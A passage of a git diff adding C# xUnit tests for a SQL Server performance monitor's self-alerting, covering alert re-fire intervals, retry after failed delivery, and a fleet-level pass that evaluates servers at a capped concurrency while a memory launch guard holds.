+        for (var minute = 0; minute <= 60; minute++)
+        {
+            rig.Now = Start.AddMinutes(minute);
+            await rig.SweepAsync(Arm.CollectionStopped);
+        }
+
+        Assert.Equal(1, rig.Fires);
+    }
+
+    [Fact]
+    public async Task CollectionStopped_WithRefireOn_RepeatsOnTheRefireInterval_NotTheCooldown()
+    {
+        var rig = new Rig { Deliverer = { Answer = DeliveredByWebhook() }, ConnectionRefireMinutes = 30 };
+
+        /* 95 minutes stopped, swept every minute, cooldown 5: alerts at 0, 30, 60 and 90, not one per cooldown. */
+        var firedAtMinute = new List<int>();
+        for (var minute = 0; minute <= 95; minute++)
+        {
+            rig.Now = Start.AddMinutes(minute);
+            var before = rig.Fires;
+            await rig.SweepAsync(Arm.CollectionStopped);
+            if (rig.Fires > before)
+            {
+                firedAtMinute.Add(minute);
+            }
+        }
+
+        Assert.Equal(new[] { 0, 30, 60, 90 }, firedAtMinute.ToArray());
+    }
+
+    [Fact]
+    public async Task CollectionStopped_RecoverThenStoppedAgain_IsANewOutageWithItsOwnAlert()
+    {
+        var rig = new Rig { Deliverer = { Answer = DeliveredByWebhook() } };
+
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(1, rig.Fires);
+
+        /* Recovery: one "Collection Resumed" row. */
+        rig.Now = Start.AddMinutes(1);
+        await rig.Evaluator.ApplyCollectionStoppedAsync(ServerId, Name, stopped: false, "", Ct);
+        Assert.Equal("Collection Resumed", Assert.Single(rig.History.Records).MetricName);
+
+        /* Stopped again a minute later, inside the cooldown: a new outage, a new alert. */
+        rig.Now = Start.AddMinutes(2);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+
+        /* And that outage is a state alert too. */
+        rig.Now = Start.AddMinutes(60);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Fact]
+    public async Task CollectionStopped_AnAlertNoChannelTook_IsSentAgainAfterTheBackOff_ThenStopsOnceDelivered_WithRefireOff()
+    {
+        var rig = new Rig { Deliverer = { Answer = FailedByWebhook() } };
+
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(1, rig.Fires);
+
+        rig.Now = Start.AddSeconds(59);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(1, rig.Fires);
+
+        /* The retry, a minute on, is delivered. */
+        rig.Deliverer.Answer = DeliveredByWebhook();
+        rig.Now = Start.AddSeconds(60);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+
+        /* Delivered: nothing more for the rest of the outage. */
+        for (var minute = 2; minute <= 60; minute++)
+        {
+            rig.Now = Start.AddMinutes(minute);
+            await rig.SweepAsync(Arm.CollectionStopped);
+        }
+
+        Assert.Equal(2, rig.Fires);
+    }
+
+    [Fact]
+    public async Task CollectionStopped_RefireIsReadLive_ChangedWhileTheOutageStands()
+    {
+        var rig = new Rig { Deliverer = { Answer = DeliveredByWebhook() } };
+
+        await rig.SweepAsync(Arm.CollectionStopped);
+        rig.Now = Start.AddMinutes(45);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(1, rig.Fires);
+
+        /* Turned on to 30 minutes at run time: the 45 minutes since the alert are already past the interval. */
+        rig.ConnectionRefireMinutes = 30;
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+
+        rig.Now = Start.AddMinutes(60);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+
+        /* Turned off again: the standing outage stops repeating. */
+        rig.ConnectionRefireMinutes = 0;
+        rig.Now = Start.AddMinutes(240);
+        await rig.SweepAsync(Arm.CollectionStopped);
+        Assert.Equal(2, rig.Fires);
+    }
 }
diff --git a/Darling/Darling.Tests/SelfAlertFleetPassTests.cs b/Darling/Darling.Tests/SelfAlertFleetPassTests.cs
new file mode 100644
index 0000000000..06eb282691
--- /dev/null
+++ b/Darling/Darling.Tests/SelfAlertFleetPassTests.cs
@@ -0,0 +1,877 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5479: the per-server self-alerts (Collection Stopped and its siblings) run in a fleet-level pass the sweep loop
+/// launches every tick, not at the top of each server's collection body. A body the memory launch guard held off, or one
+/// that never finishes, used to silence them: a fleet that stopped collecting paged nobody for 25 hours.
+/// </summary>
+public sealed class SelfAlertFleetPassTests
+{
+    /* Only ever the limit on something that never happens: no assertion reads how long a step took. */
+    private static readonly TimeSpan Patience = TimeSpan.FromSeconds(30);
+
+    /* A gate that waits for the fleet pass to reach its width: generous, because it only ever fails a pass that never gets there. */
+    private static readonly TimeSpan GatePatience = TimeSpan.FromSeconds(30);
+
+    private sealed class WorkerLogger(CapturingTestLogger inner) : ILogger<DarlingWorker>
+    {
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => null;
+
+        public bool IsEnabled(LogLevel logLevel) => true;
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception,
+            Func<TState, Exception?, string> formatter) => inner.Log(logLevel, eventId, state, exception, formatter);
+    }
+
+    internal static DarlingWorker MakeWorker(CapturingTestLogger? logger = null) =>
+        new(
+            logger is null ? NullLogger<DarlingWorker>.Instance : new WorkerLogger(logger),
+            NullLoggerFactory.Instance,
+            new McpRuntimeState(),
+            new WebRuntimeState(),
+            new MonitoredServerRegistryState(),
+            new CollectorRuntimeState(),
+            new WebTlsCertificateState(),
+            new BaselineCache(),
+            new ReadLatencyAccumulator());
+
+    internal static DarlingWorker.ServerLoopState MakeServer(string name, bool connected = false)
+    {
+        var config = new MonitoredServer { Name = name, Host = name + ".invalid" };
+        return new DarlingWorker.ServerLoopState
+        {
+            Config = config,
+            Runtime = connected
+                ? new ServerRuntime
+                {
+                    Config = config,
+                    ConnectionString = "Server=tcp:" + name + ",1433;Initial Catalog=master;Encrypt=True",
+                    Target = new CollectorTargetInfo(),
+                    StorageName = name,
+                    ServerId = 7,
+                }
+                : null,
+        };
+    }
+
+    /// <summary>
+    /// Waits for the worker's current self-alert pass to finish, failing the test with a message if it does not within
+    /// <see cref="Patience"/>. A test that counts evaluations must wait on this, not on the counter, before it starts the
+    /// next pass: the counter moves inside the pass, before the pass task completes.
+    /// </summary>
+    internal static async Task WaitForPassToEndAsync(DarlingWorker worker, int round)
+    {
+        var pass = worker.SelfAlertPassForTests;
+        Assert.NotNull(pass);
+        try
+        {
+            await pass.WaitAsync(Patience, TestContext.Current.CancellationToken);
+        }
+        catch (TimeoutException)
+        {
+            Assert.Fail($"the self-alert pass of round {round} did not end within {Patience}");
+        }
+    }
+
+    internal static async Task<bool> BecomesTrueAsync(Func<bool> condition)
+    {
+        var deadline = DateTime.UtcNow + Patience;
+        while (DateTime.UtcNow < deadline)
+        {
+            if (condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(10, TestContext.Current.CancellationToken);
+        }
+
+        return condition();
+    }
+
+    /// <summary>
+    /// Collection Stopped during a hold: no body is launched and none is ever called, yet the server is evaluated. On the
+    /// old shape the evaluation was the first thing the body did, so a held body meant no evaluation at all.
+    /// </summary>
+    [Fact]
+    public async Task AServerWithNoBodyLaunched_IsStillEvaluatedByTheFleetPass()
+    {
+        var worker = MakeWorker();
+        var evaluated = new List<string>();
+        worker.SelfAlertServerOverride = (server, _) =>
+        {
+            lock (evaluated)
+            {
+                evaluated.Add(server.Config.DisplayName);
+            }
+
+            return Task.CompletedTask;
+        };
+        var servers = new[] { MakeServer("example-sql-01"), MakeServer("example-sql-02") };
+
+        Assert.True(worker.TryStartSelfAlertPass(servers, TestContext.Current.CancellationToken));
+
+        Assert.True(await BecomesTrueAsync(() => { lock (evaluated) { return evaluated.Count == 2; } }));
+        Assert.All(servers, s => Assert.Null(s.InFlightSweep));
+    }
+
+    /// <summary>
+    /// The two halves of #5479 together: the memory launch guard is forced to hold (through its test seam, a sampler that
+    /// reads over the line and a collection that frees nothing), a server has had no success for longer than the
+    /// Collection Stopped window, and Collection Stopped fires from the fleet pass while the guard still holds and no body
+    /// has been launched or called. On the old shape the alert was the first statement of the body the guard held off.
+    /// The store read is the one piece stood in for: the evaluator's own judgement and edge apply run on a last success
+    /// three hours back, as the evaluator's restart pins do.
+    /// </summary>
+    [Fact]
+    public async Task CollectionStopped_FiresFromTheFleetPass_WhileTheLaunchGuardStillHolds_AndNoBodyRuns()
+    {
+        var harness = new DarlingSelfAlertTests.Harness();
+        var start = harness.Now;
+        var evaluator = harness.Build();
+        var lastSuccess = start.AddHours(-3);
+
+        var worker = MakeWorker();
+        var clock = TimeSpan.Zero;
+        worker.LaunchGuard = new LaunchMemoryGuard(
+            () => new LaunchMemoryReading(1500L * 1024 * 1024, 1536L * 1024 * 1024, "test metric", "test limit"),
+            () => { },
+            () => clock,
+            NullLogger.Instance);
+        const int serverId = 424242;
+        worker.SelfAlertServerOverride = async (server, ct) =>
+        {
+            var stopped = evaluator.JudgeCollectionStopped(serverId, lastSuccess, 10, 9, out var reason);
+            await evaluator.ApplyCollectionStoppedAsync(serverId, server.Config.DisplayName, stopped, reason, ct);
+        };
+        var servers = new[] { MakeServer("example-sql-01", connected: true) };
+
+        /* The window has not passed after the start: silent. Then it has, and the guard has held the whole time. */
+        Assert.False(worker.LaunchGuard.MayLaunch(0));
+        Assert.True(worker.TryStartSelfAlertPass(servers, TestContext.Current.CancellationToken));
+        Assert.True(await BecomesTrueAsync(() => worker.TryStartSelfAlertPass(servers, TestContext.Current.CancellationToken)));
+        Assert.Empty(harness.Deliverer.Outcomes);
+
+        harness.Now = start.AddMinutes(30);
+        servers[0].NextSelfAlertSweep = DateTime.MinValue;
+        clock = TimeSpan.FromMinutes(30);
+        Assert.False(worker.LaunchGuard.MayLaunch(0));
+        Assert.True(await BecomesTrueAsync(() => worker.TryStartSelfAlertPass(servers, TestContext.Current.CancellationToken)));
+
+        Assert.True(await BecomesTrueAsync(() => harness.Deliverer.Outcomes.Any(o => o.MetricName == "Collection Stopped")));
+        var fired = Assert.Single(harness.Deliverer.Outcomes, o => o.MetricName == "Collection Stopped");
+        Assert.StartsWith("No successful collection in 3 hours", fired.CurrentValue, StringComparison.Ordinal);
+        Assert.True(worker.LaunchGuard.IsHolding, "the guard must still be holding when the alert fires");
+        Assert.Null(servers[0].InFlightSweep);
+    }
+
+    /// <summary>
+    /// A server whose body never finishes is evaluated on its cadence all the same: the pass does not look at the body.
+    /// </summary>
+    [Fact]
+    public async Task AServerWhoseBodyNeverFinishes_StillGetsItsEvaluationOnCadence()
+    {
+        var worker = MakeWorker();
+        var evaluations = 0;
+        worker.SelfAlertServerOverride = async (_, _) =>
+        {
+            Interlocked.Increment(ref evaluations);
+
+            /* A slow tail: the counter is visible well before the pass ends, so a test that starts the next pass on the
+               counter alone gets a pass still running every time (the CI race). */
+            await Task.Delay(200);
+        };
+        var server = MakeServer("example-sql-01", connected: true);
+        server.InFlightSweep = new TaskCompletionSource().Task;
+
+        for (var round = 1; round <= 3; round++)
+        {
+            server.NextSelfAlertSweep = DateTime.MinValue;
+            var previous = worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken);
+            Assert.True(previous);
+            Assert.True(await BecomesTrueAsync(() => Volatile.Read(ref evaluations) == round), $"round {round} was not evaluated");
+
+            /* The counter moves inside the pass, before the pass task ends: wait for the pass itself, or the next
+               TryStartSelfAlertPass sees a pass still running and returns false (the CI race). */
+            await WaitForPassToEndAsync(worker, round);
+        }
+
+        /* On its cadence: a tick inside the 30 second window evaluates nothing. */
+        Assert.True(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        await WaitForPassToEndAsync(worker, 4);
+        Assert.Equal(3, Volatile.Read(ref evaluations));
+    }
+
+    /// <summary>
+    /// Two passes at once never evaluate the same server: while one pass is still running the next tick is skipped, and
+    /// the server is evaluated once even though its stamp is due again.
+    /// </summary>
+    [Fact]
+    public async Task APassStillRunning_MakesTheNextTickSkip_SoNoServerIsEvaluatedByTwoThreads()
+    {
+        var worker = MakeWorker();
+        var release = new TaskCompletionSource();
+        var started = new TaskCompletionSource();
+        var concurrent = 0;
+        var maxConcurrent = 0;
+        var evaluations = 0;
+        worker.SelfAlertServerOverride = async (_, _) =>
+        {
+            var now = Interlocked.Increment(ref concurrent);
+            InterlockedMax(ref maxConcurrent, now);
+            Interlocked.Increment(ref evaluations);
+            started.TrySetResult();
+            await release.Task;
+            Interlocked.Decrement(ref concurrent);
+        };
+        var server = MakeServer("example-sql-01");
+
+        Assert.True(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        await started.Task.WaitAsync(Patience, TestContext.Current.CancellationToken);
+
+        /* The stamp is due again, and the pass is still inside the first evaluation. */
+        server.NextSelfAlertSweep = DateTime.MinValue;
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        Assert.Equal(1, Volatile.Read(ref evaluations));
+        Assert.Equal(1, Volatile.Read(ref maxConcurrent));
+
+        release.SetResult();
+        Assert.True(await BecomesTrueAsync(() => worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken)));
+        Assert.True(await BecomesTrueAsync(() => Volatile.Read(ref evaluations) == 2));
+        Assert.Equal(1, Volatile.Read(ref maxConcurrent));
+    }
+
+    /// <summary>
+    /// Runs 20 servers through the fleet pass at <paramref name="sweepWidth"/>, where every evaluation counts itself in
+    /// flight, records the peak, and waits at a gate that opens once <paramref name="expectedPeak"/> evaluations are in
+    /// flight together. The test asserts concurrency, never elapsed time: a loaded runner stretches every evaluation
+    /// and cannot change the peak. A pass that never reaches the width fails the test with a message after
+    /// <see cref="GatePatience"/>, and a pass that exceeds it shows in the peak.
+    /// </summary>
+    private static async Task<(int Peak, Dictionary<string, int> PerServer, string? GateFailure)> RunTwentyServersAsync(
+        int sweepWidth, int expectedPeak)
+    {
+        var worker = MakeWorker();
+        var concurrent = 0;
+        var maxConcurrent = 0;
+        var perServer = new Dictionary<string, int>();
+        var gate = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        string? gateFailure = null;
+        worker.SelfAlertServerOverride = async (server, ct) =>
+        {
+            var inFlight = Interlocked.Increment(ref concurrent);
+            InterlockedMax(ref maxConcurrent, inFlight);
+            lock (perServer)
+            {
+                perServer[server.Config.DisplayName] = perServer.GetValueOrDefault(server.Config.DisplayName) + 1;
+            }
+
+            if (inFlight >= expectedPeak)
+            {
+                gate.TrySetResult();
+            }
+
+            try
+            {
+                await gate.Task.WaitAsync(GatePatience, ct);
+            }
+            catch (TimeoutException)
+            {
+                gateFailure = $"only {Volatile.Read(ref maxConcurrent)} evaluations were in flight together; the width is {expectedPeak}";
+                gate.TrySetResult();
+            }
+
+            Interlocked.Decrement(ref concurrent);
+        };
+        var servers = Enumerable.Range(1, 20).Select(i => MakeServer($"example-sql-{i:00}")).ToArray();
+
+        Assert.True(worker.TryStartSelfAlertPass(servers, TestContext.Current.CancellationToken, sweepWidth: sweepWidth));
+        await WaitForPassToEndAsync(worker, 1);
+
+        lock (perServer)
+        {
+            return (Volatile.Read(ref maxConcurrent), new Dictionary<string, int>(perServer), gateFailure);
+        }
+    }
+
+    /// <summary>
+    /// The fleet pass runs the servers at the fleet gate's width, not one at a time (#5481 round 1): twenty servers at
+    /// width 4 are evaluated four at a time, each exactly once. The test counts what is in flight together, not how long
+    /// the pass takes. At 500 servers the one-at-a-time pass overran every tick.
+    /// </summary>
+    [Fact]
+    public async Task TheFleetPass_EvaluatesAtTheSweepWidth_NotOneServerAtATime()
+    {
+        var (peak, perServer, gateFailure) = await RunTwentyServersAsync(sweepWidth: 4, expectedPeak: 4);
+
+        Assert.Null(gateFailure);
+        Assert.Equal(20, perServer.Count);
+        Assert.All(perServer.Values, n => Assert.Equal(1, n));
+        Assert.Equal(DarlingWorker.SelfAlertPassWidthFor(4), peak);
+    }
+
+    /// <summary>
+    /// M1 (#5481 round 2): the pass's width comes from <see cref="DarlingWorker.SelfAlertPassWidthFor"/>, the smaller of
+    /// the sweep width and half of <see cref="DarlingWorker.DailyRunPoolReserve"/>, so its store reads spend at most half
+    /// of the reserve the web viewer's and the MCP tools' reads share.
+    /// </summary>
+    [Theory]
+    [InlineData(1, 1)]
+    [InlineData(2, 2)]
+    [InlineData(4, 4)]
+    [InlineData(9, 4)]
+    [InlineData(16, 4)]
+    [InlineData(0, 1)]
+    [InlineData(int.MaxValue, 4)]
+    public void TheSelfAlertPassWidth_IsTheSweepWidthCappedAtHalfTheReserve(int sweepWidth, int expected)
+    {
+        Assert.Equal(expected, DarlingWorker.SelfAlertPassWidthFor(sweepWidth));
+        Assert.True(DarlingWorker.SelfAlertPassWidthFor(sweepWidth) <= DarlingWorker.DailyRunPoolReserve / 2);
+    }
+
+    /// <summary>
+    /// M1: a fleet at <c>max_concurrent_sweeps = 16</c> evaluates at most 4 servers at once. RED on the round-1 shape,
+    /// where the pass took the full sweep width and ran 16 store reads beside 16 sweep bodies on a pool of 24.
+    /// </summary>
+    [Fact]
+    public async Task TheFleetPass_AtSweepWidthSixteen_NeverEvaluatesMoreThanTheCappedWidthAtOnce()
+    {
+        var capped = DarlingWorker.SelfAlertPassWidthFor(16);
+        Assert.Equal(DarlingWorker.DailyRunPoolReserve / 2, capped);
+
+        var (peak, perServer, gateFailure) = await RunTwentyServersAsync(sweepWidth: 16, expectedPeak: capped);
+
+        Assert.Null(gateFailure);
+        Assert.Equal(20, perServer.Count);
+        Assert.All(perServer.Values, n => Assert.Equal(1, n));
+        Assert.Equal(capped, peak);
+    }
+
+    /// <summary>
+    /// L1 (#5481 round 2): a pass that has run 20 seconds is past one 15-second tick but inside the 30-second server
+    /// cadence, so the tick that skips logs nothing. RED on round 1, which warned on every skip.
+    /// </summary>
+    [Fact]
+    public async Task APassPastOneTickButInsideTheCadence_LogsNoWarning()
+    {
+        var logger = new CapturingTestLogger();
+        var worker = MakeWorker(logger);
+        var now = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc);
+        worker.SelfAlertPassClock = () => now;
+        var started = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        worker.SelfAlertServerOverride = async (_, _) =>
+        {
+            started.TrySetResult();
+            await release.Task;
+        };
+        var server = MakeServer("example-sql-01");
+
+        Assert.True(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        await started.Task.WaitAsync(Patience, TestContext.Current.CancellationToken);
+
+        now += TimeSpan.FromSeconds(15);
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        now += TimeSpan.FromSeconds(5);
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+
+        Assert.Equal(0, logger.CountAtLevel(LogLevel.Warning));
+        release.SetResult();
+        Assert.True(await BecomesTrueAsync(() => worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken)));
+    }
+
+    /// <summary>
+    /// L1: a pass that has run 70 seconds has outrun the 30-second cadence, so exactly one Warning is logged for it,
+    /// with how long it has run, however many ticks skip. A pass after it that also overruns warns once again.
+    /// </summary>
+    [Fact]
+    public async Task APassThatOutrunsTheCadence_LogsExactlyOneWarning_WithHowLongItHasRun()
+    {
+        var logger = new CapturingTestLogger();
+        var worker = MakeWorker(logger);
+        var now = new DateTime(2026, 1, 1, 12, 0, 0, DateTimeKind.Utc);
+        worker.SelfAlertPassClock = () => now;
+        var started = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var release = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        worker.SelfAlertServerOverride = async (_, _) =>
+        {
+            started.TrySetResult();
+            await release.Task;
+        };
+        var server = MakeServer("example-sql-01");
+
+        Assert.True(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        await started.Task.WaitAsync(Patience, TestContext.Current.CancellationToken);
+
+        now += TimeSpan.FromSeconds(20);
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        now += TimeSpan.FromSeconds(50);
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+        now += TimeSpan.FromSeconds(15);
+        Assert.False(worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken));
+
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("running for 70s", logger.Joined);
+        release.SetResult();
+        Assert.True(await BecomesTrueAsync(() => worker.TryStartSelfAlertPass([server], TestContext.Current.CancellationToken)));
+    }
+
+    /// <summary>
+    /// A cancellation inside one server's evaluation that is not the service shutting down (the custom-alert evaluator
+    /// rethrows every <see cref="OperationCanceledException"/>) is logged and the pass goes on to the servers after it
+    /// (#5481 round 1). It used to end the pass, and the servers behind it starved if it repeated.
+    /// </summary>
+    [Fact]
+    public async Task ANonShutdownCancellationInOneServer_IsLogged_AndTheRestOfThePassGoesOn()
+    {
+        var logger = new CapturingTestLogger();
+        var worker = MakeWorker(logger);
+        var evaluated = new List<string>();
+        worker.SelfAlertServerOverride = (server, _) =>
+        {
+            lock (evaluated)
+            {
+                evaluated.Add(server.Config.DisplayName);
+            }
+
+            if (server.Config.DisplayName == "example-sql-01")
+            {
+                throw new OperationCanceledException("a timeout inside one evaluator");
+            }
+
+            return Task.CompletedTask;
+        };
+
+        Assert.True(worker.TryStartSelfAlertPass(
+            [MakeServer("example-sql-01"), MakeServer("example-sql-02"), MakeServer("example-sql-03")],
+            TestContext.Current.CancellationToken, sweepWidth: 1));
+
+        Assert.True(await BecomesTrueAsync(() => { lock (evaluated) { return evaluated.Count == 3; } }));
+        Assert.Equal(["example-sql-01", "example-sql-02", "example-sql-03"], evaluated);
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Error));
+        Assert.Contains("self-alert pass failed", logger.Joined);
+    }
+
+    private static void InterlockedMax(ref int target, int value)
+    {
+        int seen;
+        do
+        {
+            seen = Volatile.Read(ref target);
+        }
+        while (value > seen && Interlocked.CompareExchange(ref target, value, seen) != seen);
+    }
+
+    /// <summary>
+    /// A retired server is skipped, and one server's throw is logged without skipping the servers after it.
+    /// </summary>
+    [Fact]
+    public async Task ARetiredServerIsSkipped_AndOneServersThrowDoesNotSkipTheRest()
+    {
+        var worker = MakeWorker();
+        var evaluated = new List<string>();
+        worker.SelfAlertServerOverride = (server, _) =>
+        {
+            lock (evaluated)
+            {
+                evaluated.Add(server.Config.DisplayName);
+            }
+
+            if (server.Config.DisplayName == "example-sql-01")
+            {
+                throw new InvalidOperationException("store read failed");
+            }
+
+            return Task.CompletedTask;
+        };
+        var retired = MakeServer("example-sql-00");
+        retired.Retired = true;
+
+        Assert.True(worker.TryStartSelfAlertPass([retired, MakeServer("example-sql-01"), MakeServer("example-sql-02")], TestContext.Current.CancellationToken));
+
+        Assert.True(await BecomesTrueAsync(() => { lock (evaluated) { return evaluated.Count == 2; } }));
+        lock (evaluated)
+        {
+            Assert.Equal(["example-sql-01", "example-sql-02"], evaluated.Order().ToArray());
+        }
+    }
+
+    /// <summary>
+    /// An operator pause still evaluates nothing, as before: the launch sits after the pause's <c>continue</c>, before the
+    /// launch loop and outside the memory guard's branch, and the body no longer evaluates anything itself.
+    /// </summary>
+    [Fact]
+    public void TheLoopLaunchesThePass_AfterThePauseContinue_BeforeTheLaunchLoop_AndTheBodyEvaluatesNothing()
+    {
+        var source = ServerConnectBackoffTests.ReadWorkerSource();
+        var loop = source.IndexOf("private async Task RunCollectionLoopAsync(", StringComparison.Ordinal);
+        Assert.True(loop > 0);
+
+        var pause = source.IndexOf("if (!ShouldRunCollection(_paused))", loop, StringComparison.Ordinal);
+        var pauseContinue = source.IndexOf("continue;", pause, StringComparison.Ordinal);
+        var launch = source.IndexOf("TryStartSelfAlertPass(sweepTargets, stoppingToken, StoreConfigProvider.ClampConcurrentSweeps(config.MaxConcurrentSweeps));", loop, StringComparison.Ordinal);
+        var guard = source.IndexOf("var mayLaunchSweeps = _launchMemoryGuard.MayLaunch(", loop, StringComparison.Ordinal);
+        var launchLoop = source.IndexOf("foreach (var server in sweepTargets)", loop, StringComparison.Ordinal);
+        Assert.True(pause > 0 && pauseContinue > pause, "the pause gate was not found");
+        Assert.True(launch > pauseContinue, "the self-alert pass must sit after the operator pause's continue");
+        Assert.True(launch < guard && launch < launchLoop, "the self-alert pass must not depend on the guard or the launch loop");
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(source, @"TryStartSelfAlertPass\(sweepTargets"));
+
+        var bodyStart = source.IndexOf("private async Task ProcessServerSweepAsync(", StringComparison.Ordinal);
+        var nextMember = System.Text.RegularExpressions.Regex.Match(
+            source.Substring(bodyStart + 100), @"\r?\n    (?:private|internal|public|protected)[^\r\n]*\(");
+        Assert.True(nextMember.Success, "the member after the body was not found");
+        var body = source.Substring(bodyStart, 100 + nextMember.Index);
+        Assert.Contains("RunDueCollectorsAsync(server, runner", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("EvaluateStoreAlertsAsync", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("EvaluateServerAsync", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("NextSelfAlertSweep", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("NextCustomAlertSweep", body, StringComparison.Ordinal);
+
+        /* Shutdown waits for the tracked pass like it does for the ticks. */
+        Assert.Contains("inFlightSweeps.Add(_selfAlertPass);", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The held-slot count sits at the guard's break, and the first pass that launches again raises the skip-credit floor
+    /// the way the first pass after an operator pause does, before any body launches.
+    /// </summary>
+    [Fact]
+    public void TheLoop_CountsHeldSlotsAtTheGuardBreak_AndResumesTheFloorBeforeTheFirstLaunch()
+    {
+        var source = ServerConnectBackoffTests.ReadWorkerSource();
+        var loop = source.IndexOf("private async Task RunCollectionLoopAsync(", StringComparison.Ordinal);
+        var held = source.IndexOf("if (!mayLaunchSweeps)", loop, StringComparison.Ordinal);
+        var count = source.IndexOf("CountHeldSlots(sweepTargets, DateTime.UtcNow);", held, StringComparison.Ordinal);
+        var brk = source.IndexOf("break;", count, StringComparison.Ordinal);
+        var resumeIf = source.IndexOf("if (heldSinceLastLaunch)", brk, StringComparison.Ordinal);
+        var resume = source.IndexOf("_skipCreditFloor.Resume(DateTime.UtcNow);", resumeIf, StringComparison.Ordinal);
+        var launch = source.IndexOf("server.InFlightSweep = ProcessServerSweepAsync(", loop, StringComparison.Ordinal);
+
+        Assert.True(held > 0 && count > held && brk > count, "the held-slot count must come before the guard's break");
+        Assert.True(resumeIf > brk && resume > resumeIf && resume < launch, "the floor must be raised before any body launches");
+    }
+
+    /// <summary>
+    /// Held slots: 10 minutes of a 1-minute collector's slots come due while the guard holds the pass off, and each is
+    /// counted once, within a pass of its due time, spread over the passes. The first launch after the release counts none
+    /// of them again, because the loop raises the floor. On the old shape the hold counted 0 and the release counted 10.
+    /// </summary>
+    [Fact]
+    public async Task HeldSlots_AreCountedAsTheyComeDue_AndTheFirstLaunchAfterTheReleaseCountsNoneOfThemAgain()
+    {
+        var worker = MakeWorker();
+        var server = MakeServer("example-sql-01", connected: true);
+        var held = DateTime.UtcNow.AddMinutes(-10);
+        server.NextDue["wait_stats"] = held;
+        var stats = worker.FleetGateStatsForTest!;
+
+        long previous = 0;
+        var perPass = new List<long>();
+        for (var pass = 1; pass * 15 <= 600; pass++)
+        {
+            worker.CountHeldSlots([server], held.AddSeconds(pass * 15));
+            var skipped = stats.Snapshot().Skipped;
+            perPass.Add(skipped - previous);
+            previous = skipped;
+        }
+
+        /* 10 minutes, 1-minute slots: the slot at the stamp is served by the first run, and the 10 after it are lost. */
+        Assert.Equal(10, previous);
+        Assert.All(perPass, n => Assert.InRange(n, 0, 1));
+        Assert.Equal(40, perPass.Count);
+        Assert.Equal(10, perPass.Count(n => n == 1));
+
+        /* A pass that counts again at the same time counts nothing. */
+        Assert.Equal(0, worker.CountHeldSlots([server], held.AddMinutes(10)));
+
+        /* The release: the loop raises the floor, then the first body runs the slot. It counts no skipped slot. */
+        worker.SkipCreditFloorForTest.Resume(DateTime.UtcNow);
+        worker.RunOneBodyOverride = (_, _, _, _) => Task.FromResult(1);
+        var before = stats.Snapshot();
+        await worker.RunDueCollectorsAsync(server, null!, TestContext.Current.CancellationToken);
+        var after = stats.Snapshot();
+
+        Assert.Equal(before.Skipped, after.Skipped);
+        Assert.True(after.Run > before.Run, "the slot at the stamp must run after the release");
+    }
+
+    /// <summary>
+    /// Without the floor raise the same release would count the held slots a second time: this is the burst the field saw.
+    /// It pins that the raise is what stops it, so a loop that stopped calling it would show here.
+    /// </summary>
+    [Fact]
+    public async Task WithoutTheFloorRaise_TheFirstLaunchAfterTheHoldWouldCountTheHeldSlotsAgain()
+    {
+        var worker = MakeWorker();
+        var server = MakeServer("example-sql-01", connected: true);
